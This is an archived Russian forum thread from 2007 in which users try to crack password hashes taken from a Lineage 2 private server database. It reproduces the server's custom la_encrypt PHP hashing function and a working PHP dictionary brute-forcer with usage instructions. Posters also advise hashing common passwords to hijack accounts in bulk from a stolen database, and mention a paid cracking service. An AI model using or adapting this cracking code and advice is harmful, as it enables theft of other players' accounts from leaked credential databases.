Просмотр полной версии : шифр аккаунтов la2 c4 pts
Добрый день )
в общем такая проблема.
получил доступ к аккам в ла2 с4 птс сервере...
настроен не очень ну в общем какими-либо особенностями не отличается...
и вот такая проблема
чем именно шифруются пароли?
пробовал МД5 расшифрововать - но увы не выходило (
если кто знает - скажите плз ))
заранее спасибо )
Хоть один пароль выложи =\
acc2 0xb5b16f2895ed207346dff9f934ae8888
acc1 0xc577756621c7ff39ccdeed26eb715757
в видах шифровки не оч разбираюсь )
в том то и дело что пробовал как хекс а расшифроватся не хочет ))
в том плане что выдаются символы но не как не пароли от акков )
в общем щас просто запутался даж )
раньше с этим не работал и хотелось бы разобраться )
в общем плз обьясните что тут к чему )) а то просто хз как и что... )) (нет слов=) )
в том плане что выдаются символы но не как не пароли от акков )
да, херь какая то. А ты уверен что это пароли?
да, вытягивал с базы вроде нормально...
то что в хексе то понятно (bin2hex в скрипте прописано =) ) но... хз что сказать...
толи они чемто до этого шифровались щас еще раз пересмотрю скрипт регистрации юзеров, может что интересного найду )
просто хотел написать скрипт на создание ГМ акка и как шифрует хз )
вот нашел такую строчку
$pass = la_encrypt($pass);
вот что за la_encrypt? )
lineage encrypt наверно это их собственный способ шифровки.
вот я об этом же думал... думаю в инете чтото было бна это но не нашел...
вот щас появилась мысль попробовать чтото типа l2.ini разшифровщика
может чтото и выйдет...
Да блин...у тебя скрипт регистрации есть..
В чем проблема посмортеть там функцию la_encrypt , которая видимо на javascript
нету там этой функции =\
ща буду опять серв копать (
я просто скрипт прокопал как тока можно было (
все ))
нашел функцию тока она была на сайте )) просто чето не заметил ссылку на нее ))
теперь бы разобраться с ней ))
Серенький
08.07.2007, 19:16
ну так и что за функция, как шифрует?
До, поделись алгоритмом =)
щас...
с ним не разобрался ((
может кто-то разберется )
вот он
<?
// crap! {not mine}
function la_encrypt($str) {
$key = array();
$dst = array();
$i = 0;
$nBytes = strlen($str);
while ($i < $nBytes){
$i++;
$key[$i] = ord(substr($str, $i - 1, 1));
$dst[$i] = $key[$i];
}
$rslt = $key[1] + $key[2]*256 + $key[3]*65536 + $key[4]*16777216;
$one = $rslt * 213119 + 2529077;
$one = $one - intval($one/ 4294967296) * 4294967296;
$rslt = $key[5] + $key[6]*256 + $key[7]*65536 + $key[8]*16777216;
$two = $rslt * 213247 + 2529089;
$two = $two - intval($two/ 4294967296) * 4294967296;
$rslt = $key[9] + $key[10]*256 + $key[11]*65536 + $key[12]*16777216;
$three = $rslt * 213203 + 2529589;
$three = $three - intval($three/ 4294967296) * 4294967296;
$rslt = $key[13] + $key[14]*256 + $key[15]*65536 + $key[16]*16777216;
$four = $rslt * 213821 + 2529997;
$four = $four - intval($four/ 4294967296) * 4294967296;
$key[4] = intval($one/16777216);
$key[3] = intval(($one - $key[4] * 16777216) / 65535);
$key[2] = intval(($one - $key[4] * 16777216 - $key[3] * 65536) / 256);
$key[1] = intval(($one - $key[4] * 16777216 - $key[3] * 65536 - $key[2] * 256));
$key[8] = intval($two/16777216);
$key[7] = intval(($two - $key[8] * 16777216) / 65535);
$key[6] = intval(($two - $key[8] * 16777216 - $key[7] * 65536) / 256);
$key[5] = intval(($two - $key[8] * 16777216 - $key[7] * 65536 - $key[6] * 256));
$key[12] = intval($three/16777216);
$key[11] = intval(($three - $key[12] * 16777216) / 65535);
$key[10] = intval(($three - $key[12] * 16777216 - $key[11] * 65536) / 256);
$key[9] = intval(($three - $key[12] * 16777216 - $key[11] * 65536 - $key[10] * 256));
$key[16] = intval($four/16777216);
$key[15] = intval(($four - $key[16] * 16777216) / 65535);
$key[14] = intval(($four - $key[16] * 16777216 - $key[15] * 65536) / 256);
$key[13] = intval(($four - $key[16] * 16777216 - $key[15] * 65536 - $key[14] * 256));
$dst[1] = $dst[1] ^ $key[1];
$i=1;
while ($i<16){
$i++;
$dst[$i] = $dst[$i] ^ $dst[$i-1] ^ $key[$i];
}
$i=0;
while ($i<16){
$i++;
if ($dst[$i] == 0) {
$dst[$i] = 102;
}
}
$encrypt = "0x";
$i=0;
while ($i<16){
$i++;
if ($dst[$i] < 16) {
$encrypt = $encrypt . "0" . dechex($dst[$i]);
} else {
$encrypt = $encrypt . dechex($dst[$i]);
}
}
return $encrypt;
}
?>
в этом далеко не профи, может кто разберется )
Basurman
08.07.2007, 23:34
А это никак :)
Во-первых, там округление (при больших числах весьма ощутимая разница будет),
во-вторых в конце побитовый оператор ^ (исключающее или)
Попробуй сей скрипт натрави на словарик какой-нибудь. И кстати, почему то сдается мне, что есть вероятность ввода правильного пароля, который отличается от оригинала....
P.s. Это чисто мое мнение, может неправильное
vorishka
09.07.2007, 00:11
У меня была БД, там шифровка сводилась к Base64
Написал алгоритм выуживания пассов и коллизий. За обменом в Пм :)
Basurman кстати прав.. первый попавшийся хеш дал 230 коллизий пароля.
важаемый... это не расшифровщик а брутер (подборщик)
+платный... брут написать на пхп будет максимум 10 мин.
не думаю что люди получившие базу хешей будут юзать этот портал... оно платное ))
юзер получивший базу уже должен быть с мозгами...
так что хз хз но мое мнение боян, развод... и увы будет для лохов ( (не кому не в обиду, лохов в прямом смысле, не обзывательство)
брут написать на пхп будет максимум 10 мин.
Интересно будет на это посмотреть
[53x]Shadow
23.08.2007, 02:07
Вот Вам брутер только не сорьтесь, писал сам(код брутера в конце) так, что особо не парился...=\
use:
http://www.test.com/la_brute.php?dict=полный_путь_до словаря.txt&hash=0xb1bd38c382153333069fb9b974eec8c8
<?php
// crap! {not mine}
function la_encrypt($str) {
$key = array();
$dst = array();
$i = 0;
$nBytes = strlen($str);
while ($i < $nBytes){
$i++;
$key[$i] = ord(substr($str, $i - 1, 1));
$dst[$i] = $key[$i];
}
$rslt = $key[1] + $key[2]*256 + $key[3]*65536 + $key[4]*16777216;
$one = $rslt * 213119 + 2529077;
$one = $one - intval($one/ 4294967296) * 4294967296;
$rslt = $key[5] + $key[6]*256 + $key[7]*65536 + $key[8]*16777216;
$two = $rslt * 213247 + 2529089;
$two = $two - intval($two/ 4294967296) * 4294967296;
$rslt = $key[9] + $key[10]*256 + $key[11]*65536 + $key[12]*16777216;
$three = $rslt * 213203 + 2529589;
$three = $three - intval($three/ 4294967296) * 4294967296;
$rslt = $key[13] + $key[14]*256 + $key[15]*65536 + $key[16]*16777216;
$four = $rslt * 213821 + 2529997;
$four = $four - intval($four/ 4294967296) * 4294967296;
$key[4] = intval($one/16777216);
$key[3] = intval(($one - $key[4] * 16777216) / 65535);
$key[2] = intval(($one - $key[4] * 16777216 - $key[3] * 65536) / 256);
$key[1] = intval(($one - $key[4] * 16777216 - $key[3] * 65536 - $key[2] * 256));
$key[8] = intval($two/16777216);
$key[7] = intval(($two - $key[8] * 16777216) / 65535);
$key[6] = intval(($two - $key[8] * 16777216 - $key[7] * 65536) / 256);
$key[5] = intval(($two - $key[8] * 16777216 - $key[7] * 65536 - $key[6] * 256));
$key[12] = intval($three/16777216);
$key[11] = intval(($three - $key[12] * 16777216) / 65535);
$key[10] = intval(($three - $key[12] * 16777216 - $key[11] * 65536) / 256);
$key[9] = intval(($three - $key[12] * 16777216 - $key[11] * 65536 - $key[10] * 256));
$key[16] = intval($four/16777216);
$key[15] = intval(($four - $key[16] * 16777216) / 65535);
$key[14] = intval(($four - $key[16] * 16777216 - $key[15] * 65536) / 256);
$key[13] = intval(($four - $key[16] * 16777216 - $key[15] * 65536 - $key[14] * 256));
$dst[1] = $dst[1] ^ $key[1];
$i=1;
while ($i<16){
$i++;
$dst[$i] = $dst[$i] ^ $dst[$i-1] ^ $key[$i];
}
$i=0;
while ($i<16){
$i++;
if ($dst[$i] == 0) {
$dst[$i] = 102;
}
}
$encrypt = "0x";
$i=0;
while ($i<16){
$i++;
if ($dst[$i] < 16) {
$encrypt = $encrypt . "0" . dechex($dst[$i]);
} else {
$encrypt = $encrypt . dechex($dst[$i]);
}
}
return $encrypt;
}
//Сам брут
$dict = $_GET['dict'];
$hash = $_GET['hash'];
$fd = fopen($dict,"r");
while($pass = fgets($fd))
{
if($hash == la_encrypt(trim($pass)))
{
echo "Password is: ".$pass;
exit();
}
}
echo "Password not found!";
fclose($fd);
?>
mindw0rk
23.08.2007, 02:28
Хм, на одной фришке, помню, вообще шифрования небыло. Как vorishka и сказал, только base64.
=удалил= =)
по поводу 10 секунд... сорци в инете обычного брута найти не тяжело... если есть мозги - подредактишь чуть чуть...
по поводу предупреждения... что же тогда будет? прошу все ответы и недовольствия писать в пм...
Шедоу спасибо за брут =)
может позже свой вариант выложу если найду )
По поводу хешей в Base64 - такие хеши используются в mysql ява серверов
function CreateGamePass($password)
{
$gamepass = base64_encode(pack("H*", sha1(utf8_encode($password))));
return $gamepass;
}
По поводу брутера хешей ПТС- можно сделать так, чтобы он выдавал пароль или коллизию практически мгновенно, без словаря
Будет легче понять что за кодировка если знать пароль. Создай акк с пассом например 123 и пробуй декодировать его хеш по разным алгоритмам(с символами 0-9 сответствено). Я на джаве линейджевской так делал получил Sha-1(в PasswordPro есть).
легче будет не регить акк а просто скриптом его акриптовать )
кстате так удобно массово угонять акки если есть целая база...
закриптовать например 123456 и в поиск =)
скрипт можно сделать чтото типа такого )
<?
require "la_encrypt.php";
$pass = $_GET['pass'];
$hash = la_encrypt($pass);
echo ($hash);
?>
Maddemon Держишь под собой lineage2.com
Так что ло* тут ты, потому что ничего не имеешь..
Я не знал что он платный, для меня он всегда бесплатный был..Так что перед тем как что-то говорить, думай головой а не *опой.
перед тем как сюда отписывать надо было сходить к окулисту... тебя просили писать в пм...
я еще раз повторю что мне пох кто он. вот ты реально чмо, лезешь,защищаешь других... по поводу "НЕЧЕГО НЕ ИМЕЕШЬ" -поверь имею, но не в инете ;) нехер тут чушь мелить даж не зная нечего.
по поводу лохов опять читай выше... я говорил не он а тот кто там по смс (раньше так было) приколам все делал... что для тебя бесплатно, у тебя то и база какаято врядле есть, кроме тех что 2 года паблика...
короче запарило тебе писать, до тебя,тупого не дойдет )
хочешь чтото сказть - ПРОШУ ПМ, ПРОШУ ПМ, ПРОШУ ПМ (с третего раза дойдет думаю)
там я тебе дам асю - и ты мне все выскажешь... захочешь поугражать - ок...
дальше отписуй только по теме...
ссылку твою уже похожу удалили...
зашел на тот сайт и вот нашел
Для полного брута по (a-zA-Z0-9), нужен ключ.
Ключ получаемый по SMS(форма выше) действителен на 3 брута.так что читай внимательно, потом гон начинай...
еще раз ПРОШУ НАПИСАТЬ ПМ =))
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot